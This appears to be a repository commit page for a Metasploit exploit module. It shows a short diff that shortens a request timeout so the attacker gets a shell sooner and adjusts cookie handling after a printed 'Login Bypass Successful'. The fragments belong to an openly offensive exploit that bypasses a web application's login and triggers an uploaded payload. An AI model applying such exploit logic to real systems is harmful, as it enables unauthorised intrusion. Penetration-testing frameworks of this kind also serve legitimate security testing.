Shorter timeout so we get shell sooner
The request to execute our payload will never return, so waiting for the default timeout (20 seconds) is pointless.bug/bundler_fix
parent
efe83a4f31
commit
1ccef7dc3c
|
@ -128,7 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# fix if logic
|
||||
if res and res.code == 200
|
||||
if res.body.include?("Logout")
|
||||
cookies = res.headers['Set-Cookie']
|
||||
cookies = res.get_cookies
|
||||
print_status("Login Bypass Successful")
|
||||
print_status("cookie monster = " + cookies)
|
||||
|
@ -158,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(base, 'images', "#{@fname}")
|
||||
})
|
||||
}, 1)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue